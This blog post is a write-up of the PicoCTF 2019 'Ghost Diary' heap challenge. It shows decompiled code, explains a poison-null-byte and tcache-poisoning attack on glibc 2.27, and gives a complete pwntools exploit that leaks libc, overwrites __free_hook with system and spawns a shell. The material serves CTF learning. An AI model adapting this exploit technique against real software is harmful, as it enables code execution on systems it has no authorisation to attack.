Search This Blog

Thursday, October 17, 2019

PicoCTF 2019 Ghost Diary Writeup

This was a difficult heap challenge from PicoCTF 2019.  Basically, it revolves around a classic null byte poisoning, but with a tcache twist.  You had to ensure that the tcache was either full (with 7 chunks) or have empty space for this attack to work correctly.  Anyways, let's begin!  Here's the reversed program:
//array at 202060 offset from pie, ghidra shifts everything up for some reason if PIE binary
void alloc(void)
{
  void *pvVar1;
  long in_FS_OFFSET;
  uint local_1c;
  int local_18;
  uint local_14;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_14 = 0;
  while ((local_14 < 0x14 && (*(long *)(&DAT_00302060 + (ulong)local_14 * 0x10) != 0))) {
    local_14 = local_14 + 1;
  }
  if (local_14 == 0x14) {
    puts("Buy new book");
  }
  else {
    puts("1. Write on one side?");
    puts("2. Write on both sides?");
    while( true ) {
      while( true ) {
        while( true ) {
          printf("> ");
          __isoc99_scanf(&DAT_0010119d,&local_18);
          if (local_18 != 1) break;
          printf("size: ");
          __isoc99_scanf(&DAT_0010119d,&local_1c);
          if (local_1c < 0xf1) goto LAB_00100c64;
          puts("too big to fit in a page");
        }
        if (local_18 != 2) goto LAB_00100ce5;
        printf("size: ");
        __isoc99_scanf(&DAT_0010119d,&local_1c);
        if (0x10f < local_1c) break;
        puts("don\'t waste pages -_-");
      }
      if (local_1c < 0x1e1) break;
      puts("can you not write that much?");
    }
LAB_00100c64:
    pvVar1 = malloc((ulong)local_1c);
    *(void **)(&DAT_00302060 + (ulong)local_14 * 0x10) = pvVar1;
    if (*(long *)(&DAT_00302060 + (ulong)local_14 * 0x10) == 0) {
      puts("oh noooooooo!! :(");
    }
    else {
      *(uint *)(&DAT_00302068 + (ulong)local_14 * 0x10) = local_1c;
      printf("page #%d\n",(ulong)local_14);
    }
  }
LAB_00100ce5:
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}


void print(void) //for leak probably
{
  long in_FS_OFFSET;
  uint local_14;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Page: ");
  __isoc99_scanf(&DAT_0010119d,&local_14);
  printf("Content: ");
  if ((local_14 < 0x14) && (*(long *)(&DAT_00302060 + (ulong)local_14 * 0x10) != 0)) {
    puts(*(char **)(&DAT_00302060 + (ulong)local_14 * 0x10));
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}


void delete(void)

{
  long in_FS_OFFSET;
  uint local_14;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Page: ");
  __isoc99_scanf(&DAT_0010119d,&local_14);
  if ((local_14 < 0x14) && (*(long *)(&DAT_00302060 + (ulong)local_14 * 0x10) != 0)) {
    free(*(void **)(&DAT_00302060 + (ulong)local_14 * 0x10));
    *(undefined8 *)(&DAT_00302060 + (ulong)local_14 * 0x10) = 0;
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}


void edit(void)
{
  long in_FS_OFFSET;
  uint local_14;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Page: ");
  __isoc99_scanf(&DAT_0010119d,&local_14);
  printf("Content: ");
  if ((local_14 < 0x14) && (*(long *)(&DAT_00302060 + (ulong)local_14 * 0x10) != 0)) {
    FUN_00100a5a(*(undefined8 *)(&DAT_00302060 + (ulong)local_14 * 0x10),
                 (ulong)*(uint *)(&DAT_00302068 + (ulong)local_14 * 0x10),
                 (ulong)*(uint *)(&DAT_00302068 + (ulong)local_14 * 0x10));
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}


void FUN_00100a5a(long lParm1,uint uParm2)
{
  ssize_t sVar1;
  long in_FS_OFFSET;
  char local_15;
  uint local_14;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_14 = 0;
  if (uParm2 != 0) {
    while (local_14 != uParm2) {
      sVar1 = read(0,&local_15,1);
      if (sVar1 != 1) {
        puts("read error");
                    /* WARNING: Subroutine does not return */
        exit(-1);
      }
      if (local_15 == '\n') break;
      *(char *)((ulong)local_14 + lParm1) = local_15;
      local_14 = local_14 + 1;
    }
    *(undefined *)(lParm1 + (ulong)local_14) = 0; //poison null byte
  }
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}



void menu(void)
{
  puts("1. New page in diary");
  puts("2. Talk with ghost");
  puts("3. Listen to ghost");
  puts("4. Burn the page");
  puts("5. Go to sleep");
  printf("> ");
  return;
}

It's a pretty clear poison null byte attack due to the edit function.  However, there is an annoying limitation about the range of 0x10f and 0xf1; you are also limited under size 0x1e1.  With these limitations, the poison null byte does become a little more complicated, as once you overwrite any size into 0x100 with the null byte, you will need to allocate this overwritten chunk (before you free it) with data in a way to pass the double free or corruption (!prev) present in glibc.

Before starting, I pulled the libc-2.27.so file from the shell server.  I allocated three chunks at first (first one and last one as 0x128, and the middle one as 0x118), with the last one setup correctly to beat the check mentioned above.

Then, I filled up tcache for the bigger size with 7 allocations and tcache for the 0x100 real size tcachebin (the null byte poisoning will transform the 3rd original chunk into size 0x100) for later back consolidation; otherwise, freeing the chunk which we null byte poisoned will just send it to tcache bin for real size 0x100. Then, we send the first chunk into unsorted by freeing it since tcache for its size is full.  We now can poison null byte the third original chunk, free it, and back coaelesce (make sure to have prev size set accordingly so we can have a complete back coaelesce to the first chunk) once we free it with the help of the lack of prev in use bit and the proper prev size before it.

Afterwards, make sure to empty tcache for size 0x128 before reallocating a 0x128 chunk; this will allow it to overlap over the unsorted bin addresses, allowing for a libc leak.  We allocate another chunk now, this time over the original location of the second chunk (the second chunk was never freed).

Now, by freeing both the second chunk and the newly allocated chunk which overlaps with the former, we can create a double free and perform a tcache poisoning attack.  Re-allocating just one of them can allow us to change the next pointer to free hook, which in turn will allow us to overwrite it with system and pop a shell by calling "free" on a chunk with "/bin/sh\x00"
Here is the final exploit with a ton of comments:
from pwn import *

#context.log_level = 'debug'
binary = ELF('./ghostdiary')
libc = ELF('./libc-2.27.so')
'''
remote = ssh(host='10.0.2.5', user='will', password='OMITTED')
remote.set_working_directory('/home/will/ghostdiary')
context(arch='amd64')
p = remote.process('./ghostdiary')
'''
#https://github.com/cr0wnctf/writeups/tree/master/2018/2018_10_20_HITCON/children_tcache
#http://eternal.red/2018/children_tcache-writeup-and-tcache-overview/
p = process('/problems/ghost-diary_3_ef159a8a880a083c73a2bb724fc0bfcb/ghostdiary')

def wait():
    p.recvrepeat(0.1)

def alloc(size):
    wait()
    p.sendline(str(1))
    wait()
    if (size > 240):
        p.sendline(str(2))
    else:
        p.sendline(str(1))
    wait()
    p.sendline(str(size))

def delete(index):
    wait()
    p.sendline(str(4))
    wait()
    p.sendline(str(index))

def show(index):
    wait()
    p.sendline(str(3))
    wait()
    p.sendline(str(index))

def edit(index, data):
    wait()
    p.sendline(str(2))
    wait()
    p.sendline(str(index))
    wait()
    p.sendline(data)

big = 0x128 # tcache-able
small = 0x118 # tcache-able
alloc(big)
edit(0, 'A' * 50)
alloc(small)
edit(1, 'B' * 50)
alloc(big)
edit(2, 'C' * 0xf8 + p64(0x31)) #not filled to prevent the check about normal size from going crazy and the !prev thing, also beat the double free corruption thing
#0, 1, 2 above

#3-9, fill tcache for big size
for i in range(7):
    alloc(big)
for i in range(7):
    delete(i+3)
#fill tcache for 0x100 which is necessary for consolidation later too
for i in range(7):
    alloc(0xf0)
for i in range(7):
    delete(i+3)

#now the big 0x128 chunk goes to unsorted bc tcache filled (7 chunks max)
delete(0)

edit(1, 'D' * (small-8) + p64(big + small + 0x10)) #poison null byte time + fake prev size to beat check
#back consolidate
delete(2)
#empty tcache
for i in range(7):
    alloc(big) #0, 2, 3,4,5,6,7
#now pull from unsorted as tcache is empty
alloc(big)
show(8)
temp = p.recvuntil('>').split('\n')[0].split(': ')[1]
libcLeak = u64(temp.ljust(8, '\x00'))
log.info("Libc leak: " + hex(libcLeak))
#x/gx 0x00007fbeaada6fe0
#0x7fbeaada6fe0 <main_arena+928>:    0x00007fbeaada6fd0
'''
[+]libc version : glibc 2.27
[+]build ID : BuildID[sha1]=b417c0ba7cc5cf06d1d1bed6652cedb9253c60d0
[+]main_arena_offset : 0x3ebc40
'''
libcbase = libcLeak - 0x3ebc40 - 928
log.info("Libc Base: " + hex(libcbase))
#00000000003ed8e8 <__free_hook@@GLIBC_2.2.5
freehook = libcbase + 0x3ed8e8
log.info("Free hook: " + hex(freehook))
system = libcbase + libc.symbols['system']
log.info("System: " + hex(system))
#now tcache poison
alloc(small) #so now something is over chunk "B" #9
#tcache poison double free
delete(1)
delete(9)
alloc(small) #1
edit(1, p64(freehook))
alloc(small)#9
alloc(small)#10
edit(10, p64(system)) #get back fake chunk
alloc(0x180)#11, for bin sh string
edit(11, '/bin/sh')
delete(11) #calling "free" on chunk with /bin/sh
p.interactive()

There you have it!  Ghost diary finished!

1 comment: